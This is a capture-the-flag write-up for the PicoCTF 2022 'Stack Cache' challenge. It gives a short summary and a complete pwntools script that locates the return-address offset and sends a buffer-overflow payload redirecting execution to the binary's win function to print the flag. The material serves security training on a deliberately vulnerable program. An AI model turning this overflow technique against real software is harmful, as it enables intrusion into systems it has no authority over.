Skip to content

PicoCTF 2022: Stack Cache

TL;DR

  • The program relies on undefined behavior from reused stack variables.
  • Old stack values persist and can be reused across function calls.
  • Carefully crafted input causes execution to jump into unintended code paths.
  • Redirect execution flow to the win function to retrieve the flag.

Video Walkthrough

PicoCTF 2022 Stack Cache pwn video walkthrough showing undefined behavior exploitation via stack reuse

Description

Undefined behaviours are fun.

Solution

from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Find offset to EIP/RIP for buffer overflows
def find_ip(payload):
    # Launch process and send payload
    p = process(exe, level='warn')
    p.sendlineafter(b'flag', payload)
    # Wait for the process to crash
    p.wait()
    # Print out the address of EIP/RIP at the time of crashing
    ip_offset = cyclic_find(p.corefile.pc)  # x86
    # ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4))  # x64
    warn('located EIP/RIP offset at {a}'.format(a=ip_offset))
    return ip_offset

# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Set up pwntools for the correct architecture
exe = './vuln'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

io = start()

# Pass in pattern_size, get back EIP/RIP offset
offset = find_ip(cyclic(32))

payload = flat(
    b'A' * offset,
    elf.symbols.win,
    elf.symbols.UnderConstruction
)

# Save the payload to file
write('payload', payload)

# Send the payload
io.sendlineafter(b'flag', payload)

# Receive the flag
io.interactive()